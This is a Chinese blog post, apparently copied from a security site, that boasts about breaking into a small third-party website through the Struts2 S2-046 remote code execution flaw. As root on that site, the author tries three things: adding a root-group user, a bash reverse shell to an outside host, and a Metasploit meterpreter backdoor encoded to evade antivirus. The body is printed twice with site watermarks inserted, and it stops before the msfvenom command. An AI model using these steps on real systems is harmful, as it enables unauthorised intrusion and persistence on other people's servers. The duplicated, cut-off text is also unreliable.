当Strust2遇到防火墙,你的思路够骚吗?
一、背景
偶然碰到一个小站存在st2-046代码远程执行漏洞,心里美滋滋。
执行whoami查看自己是什么权限
已经是root了,就尝试上传一个webshell
但是却提示上传失败,页面不存在
上传txt显示成功
经过测试,服务器装有一些防火墙之类的东西或者是安全策略,只要上传的文件里包含可执行代码就上传失败
但是转念一想我为什么非要传webshell,传上去之后不还是要提权,弄到他的ssh权限。
于是冷静思考了一下目前的形势:
1 root权限
2 可以执行非交互性命令
3 不能上传文件
脑海里一道闪电,蹦出来三个思路
1 直接远程执行命令 添加一个用户 然后加入root组
2 nc反弹shell 进行交互性命令 设置用密钥登陆
3 用神器msf生成一个linux后门,进一步拿下ssh
二、一波操作猛如虎
思路一
首先useradd test添加一个名为test的用户
因为不能交互 所以无法使用passwd 命令
尝试echo “PASSWORD” | passwd –stdin USERNAME命令
命令执行完成
然后加入root组
usermod -g root test
用id+用户名查看是否添加成功
奈斯
然后就是高高兴兴去连接ssh
结果他一直拒绝我的密码。。。
这是什么操作。。。
得到了你的人得不到你的心吗。。。
当时也不明白为什么会这样
后来百度查了一下
才知道这个命令有时候是有问题的
思路一失败
思路二
既然问题出在加密码的命令上面,我就只要把shell反弹出来然后再使用passwd命令即可
测试了一下目标站不支持其他脚本,也没有nc,就直接用bash转发吧
先打开一台外网windows服务器,开启nc监听
命令为nc.exe –vv –l –p 端口
Linux上bash转发命令如下
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
提示执行成功
但是windows服务器上并没有收到任何反弹信息
换端口换反弹方式都失败
用脚趾头想想应该是防火墙的问题
思路二失败。
思路三
前两次均失败,心里很难受了
不过没关系,我们还有神器msf
假设本机ip为192.168.250.162监听端口为8090
用msf生成一个linux的后门命令如下:
(1)对于metasploit 4.2版本,使用msfpayload生成后门程序,使用msfencode对后门进行二次编码防杀。
生成后门并使用msfencode shikata_ga_nai编码程序对后门程序再编码。
命令:
msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162 LPORT=8090 R |msfencode -t elf -e x86/shikata_ga_nai -c 3 -o /root/test
详解:
使用模块 linux/x86/meterpreter/reverse_tcp 可以实现在32位linux系统上反弹TCP会话
LHOST=192.168.250.162 反弹连接到metasploit攻击主机的IP地址
LPORT=8090 反弹连接到metasploit攻击主机的TCP端口号
-t elf 编码生成的文件类型
-e x86/shikata_ga_nai 使用的编码方式
-c 3 重复封装编码3次
-o /root/test 输出后门文件到/root目录下,文件名test
(2)在较新版本的metasploit中,msfpayload和msfencode已经被取消,功能合并为msfvenom
使用msfvenom创建后门达到相同效果的命令为:
一、背景
偶然碰到一个小站存在st2-046代码远程执行漏洞,心里美滋滋。
执行whoami查看自己是什么权限
已经是root了,就尝试上传一个webshell
但是却提示上传失败,页面不存在
上传txt显示成功
经过测试,服务器装有一些防火墙之类的东西或者是安全策略,只要上传的文件里包含可执行代码就上传失败
copyright 无奈人生
但是转念一想我为什么非要传webshell,传上去之后不还是要提权,弄到他的ssh权限。
于是冷静思考了一下目前的形势:
1 root权限
2 可以执行非交互性命令
3 不能上传文件
脑海里一道闪电,蹦出来三个思路
1 直接远程执行命令 添加一个用户 然后加入root组
2 nc反弹shell 进行交互性命令 设置用密钥登陆
3 用神器msf生成一个linux后门,进一步拿下ssh
二、一波操作猛如虎
思路一
首先useradd test添加一个名为test的用户
因为不能交互 所以无法使用passwd 命令
尝试echo “PASSWORD” | passwd –stdin USERNAME命令
命令执行完成
然后加入root组
usermod -g root test
用id+用户名查看是否添加成功
奈斯
然后就是高高兴兴去连接ssh
结果他一直拒绝我的密码。。。
这是什么操作。。。
得到了你的人得不到你的心吗。。。
当时也不明白为什么会这样
后来百度查了一下
才知道这个命令有时候是有问题的
思路一失败
思路二
既然问题出在加密码的命令上面,我就只要把shell反弹出来然后再使用passwd命令即可
测试了一下目标站不支持其他脚本,也没有nc,就直接用bash转发吧
先打开一台外网windows服务器,开启nc监听
命令为nc.exe –vv –l –p 端口
Linux上bash转发命令如下
bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
提示执行成功
但是windows服务器上并没有收到任何反弹信息
换端口换反弹方式都失败
用脚趾头想想应该是防火墙的问题
思路二失败。
思路三
前两次均失败,心里很难受了
不过没关系,我们还有神器msf
假设本机ip为192.168.250.162监听端口为8090
用msf生成一个linux的后门命令如下:
(1)对于metasploit 4.2版本,使用msfpayload生成后门程序,使用msfencode对后门进行二次编码防杀。
生成后门并使用msfencode shikata_ga_nai编码程序对后门程序再编码。
命令:
msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=192.168.250.162 LPORT=8090 R |msfencode -t elf -e x86/shikata_ga_nai -c 3 -o /root/test 内容来自无奈安全网
详解:
使用模块 linux/x86/meterpreter/reverse_tcp 可以实现在32位linux系统上反弹TCP会话
LHOST=192.168.250.162 反弹连接到metasploit攻击主机的IP地址
LPORT=8090 反弹连接到metasploit攻击主机的TCP端口号
-t elf 编码生成的文件类型
-e x86/shikata_ga_nai 使用的编码方式
-c 3 重复封装编码3次
-o /root/test 输出后门文件到/root目录下,文件名test
(2)在较新版本的metasploit中,msfpayload和msfencode已经被取消,功能合并为msfvenom
使用msfvenom创建后门达到相同效果的命令为: